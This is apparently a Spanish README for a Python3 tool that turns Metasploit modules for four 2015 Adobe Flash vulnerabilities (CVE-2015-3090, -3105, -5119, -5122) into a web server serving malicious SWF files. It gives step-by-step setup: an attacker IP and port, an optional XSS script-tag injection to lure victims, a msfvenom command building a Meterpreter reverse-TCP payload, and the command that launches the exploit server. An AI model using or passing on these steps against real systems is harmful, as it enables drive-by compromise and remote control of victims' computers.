xattam1/adobe-flash-exploits_17-18Exploits de Metasploit convertidos para las vulnerabilidades de Adobe Flash CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 y CVE-2015-5122 a un script de Python3.
Exploits de Metasploit convertidos para las vulnerabilidades de Adobe Flash CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 y CVE-2015-5122 a un script de Python3.
Este script alojará un servidor web que puede explotar una de las siguientes vulnerabilidades de Adobe Flash a la vez:
Debes realizar cambios (descritos aquí) en exploit.py para adaptarlos a tus necesidades.
hostname = "192.168.1.100"
serverPort = 8080
xss = False
True, la primera solicitud de la víctima al servidor se trata como JavaScript:
<script src="http://192.168.1.100:8080/"></script>False, la primera solicitud de la víctima al servidor se trata como HTML:
http://192.168.1.100:8080/base64Payload = "..."
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 | base64Nota: El único payload que me ha funcionado es
windows/meterpreter/reverse_tcp.
swfFile = swfFileList['37368']
swfFileList = {
'37368': 'CVE-2015-3090.swf',
'37448': 'CVE-2015-3105.swf',
'37523': 'CVE-2015-5119.swf',
'37599': 'CVE-2015-5122.swf'
}
Ejecuta el siguiente comando, en el mismo directorio que los archivos swf maliciosos, para ejecutar el script de exploit de Adobe Flash:
python3 exploit.pyCVE-2015-3090 -> https://exploit-db.com/exploits/37368
CVE-2015-3105 -> https://exploit-db.com/exploits/37448
CVE-2015-5119 -> https://exploit-db.com/exploits/37523
CVE-2015-5122 -> https://exploit-db.com/exploits/37599